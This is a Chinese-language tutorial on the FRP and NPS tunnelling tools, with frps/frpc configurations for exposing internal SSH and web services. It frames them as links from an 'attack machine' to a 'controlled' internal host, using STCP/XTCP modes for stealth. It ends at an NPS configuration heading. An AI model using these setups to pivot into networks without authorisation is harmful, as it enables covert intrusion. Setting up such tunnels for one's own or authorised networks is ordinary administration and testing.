1 FRP

Frp是一款简单、好用、稳定的隧道工具,使用Go语言开发,支持多协议类型、跨平台,并且支持web服务根据域名进行路由转发

1.1 优势

  • 支持TCP\UDP\KCP\HTTP\HTTPS以及Websocket等多种协议
  • 采用TCP连接流式复用,在单个连接间承载更多请求,节省连接建立时间
  • 代理组间的负载均衡
  • 端口复用,多个服务通过同个服务器端口暴露
  • 多个原生支持的客户端插件,便于独立使用frp客户端完成某些工作
  • 高度扩展性的服务器插件系统,方便结合自身需求进行功能扩展

1.2 代理类型

类型描述
TCP单纯的TCP端口映射,服务器会根据不同的端口路由到不同的内网服务
UDP单纯的UDP端口映射,服务端会根据不同的端口路由到不同内网服务
HTTP针对HTTP应用定制了一些额外的功能
HTTPS针对HTTPS应用定制了一些额外的功能
STCP安全的TCP内网代理,需要被访问者和访问者的机器上都部署Frpc,不需要服务端暴露端口
SUDP安全的UDP内网代理,需要被访问者和访问者的机器上都部署Frpc,不需要服务端暴露端口
xtcp点对点内网穿透代理,功能通stcp,但是流量不需要就过服务器中转
tcpmux支持服务器TCP端口多路复用,通过同一个端口访问不同的内网服务

1.3 配置文件

1.3.1 基础配置

1.3.1.1 SSH服务代理

1.3.1.1.1 单SSH服务

通过设置 frp 客户端连接的服务器 bindPort 来修改攻击机上的 frps.toml

# frps.toml
bindPort = 7000

在攻击机上启动 frps :

./frps -c ./frps.toml

修改内网机上的 frpc.toml 并将 serverAddr 字段设置为的 frps 服务器的公网 IP 地址:

# frpc.toml
serverAddr = "x.x.x.x"
serverPort = 7000

[[proxies]]
name = "ssh"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22
remotePort = 6000

请注意, localPort (客户端监听)和 remotePort (服务器暴露)用于 frp 系统的进出流量,而 serverPort 用于 frps 和 frpc 之间的通信。

要通过攻击机通过 SSH 从另一台机器访问内网机(假设用户名为 test ),请使用以下命令:

ssh -oPort=6000 test@x.x.x.x

1.3.1.1.2 多SSH共享相同端口

可以通过http复用技术实现多SSH共享同端口

在一台具有公网 IP 的攻击机上部署 frps 并修改 frps.toml 文件。以下是一个简化的配置:

bindPort = 7000
tcpmuxHTTPConnectPort = 5002

在内网机A上部署 frpc,配置如下

serverAddr = "x.x.x.x"
serverPort = 7000

[[proxies]]
name = "ssh1"
type = "tcpmux"
multiplexer = "httpconnect"
customDomains = ["machine-a.example.com"]
localIP = "127.0.0.1"
localPort = 22

在内网机B上部署 frpc,配置如下

serverAddr = "x.x.x.x"
serverPort = 7000

[[proxies]]
name = "ssh2"
type = "tcpmux"
multiplexer = "httpconnect"
customDomains = ["machine-b.example.com"]
localIP = "127.0.0.1"
localPort = 22

使用 SSH ProxyCommand 和不同是域名,可以同时在一个端口访问A和B

ssh -o 'proxycommand socat - PROXY:x.x.x.x:%h:%p,proxyport=5002' test@machine-b.example.com

ssh -o 'proxycommand socat - PROXY:x.x.x.x:%h:%p,proxyport=5002' test@machine-a.example.com

1.3.2 HTTP零端口暴露代理

1.3.2.1 stcp

在该情况下,公网机(VPS) 扮演一个盲目的数据中转站(Relay/Bridge)。它不运行任何攻击工具,不发起任何扫描,也不暴露任何业务端口。它的作用只是监听一个基础的 FRP 通信端口,为本地机与内网被控端建立一条加密通道。

内网机

# frpc.toml
serverAddr = "x.x.x.x"
serverPort = 7000
 
[[proxies]]
name = "secret_ssh"
type = "stcp"
secretKey = "abcdefg"
localIP = "127.0.0.1"
localPort = 22

攻击机(本地)

# frpc.toml
serverAddr = "x.x.x.x"
serverPort = 7000
 
[[visitors]]
name = "secret_ssh_visitor"
type = "stcp"
serverName = "secret_ssh"
secretKey = "abcdefg"
bindAddr = "127.0.0.1"
bindPort = 6000

公网机,只需要做最简单的转发就行了

# frps.toml
bindPort = myPort1

1.3.2.2 xtcp

使用p2p打洞技术,隐私性更强

1.3.2.3 被控端配置 (frpc.toml)

# 被控端 (目标内网)
serverAddr = "你的公网VPS_IP"
serverPort = 7000

[[proxies]]
name = "p2p_web_task"
type = "xtcp"
secretKey = "MyP2PKey_2026!"
localIP = "127.0.0.1"
localPort = 8080

1.3.2.4 本地攻击机配置 (frpc.toml)

# 本地攻击机
serverAddr = " your公网VPS_IP"
serverPort = 7000

[[visitors]]
name = "p2p_web_visitor"
type = "xtcp"
serverName = "p2p_web_task"
secretKey = "MyP2PKey_2026!"
bindAddr = "127.0.0.1"
bindPort = 9090
# 兜底配置:若 P2P 打洞失败,自动回退到 STCP 中转
fallbackTo = "stcp"
fallbackTimeoutMs = 1000

2 NPS

是一款轻量级、高性能、功能强大的内网穿透代理工具,目前支持tcp、udp流量转发,可支持tcp、udp上层协议,此外还支持内网http代理、内网socks5代理、p2p等

2.1 使用背景

  1. 做微信公众号、小程序开发→域名代理模式
  2. 想在外网通过ssh连接内网的机器,做云服务器到内网服务器端口的映射→tcp代理模式
  3. 在非内网环境下使用内网dns,或者需要通过udp访问内网机器→udp代理模式
  4. 在外网使用HTTP代理访问内网站点→http代理模式
  5. 搭建一个内网穿透ss,在外网如同使用内网vpn一样访问内外网资源或者设备→socks5代理模式

2.2 服务端安装

下载服务器到对应版本的NPS,上传服务器,解压、安装

./nps install

2.3 配置文件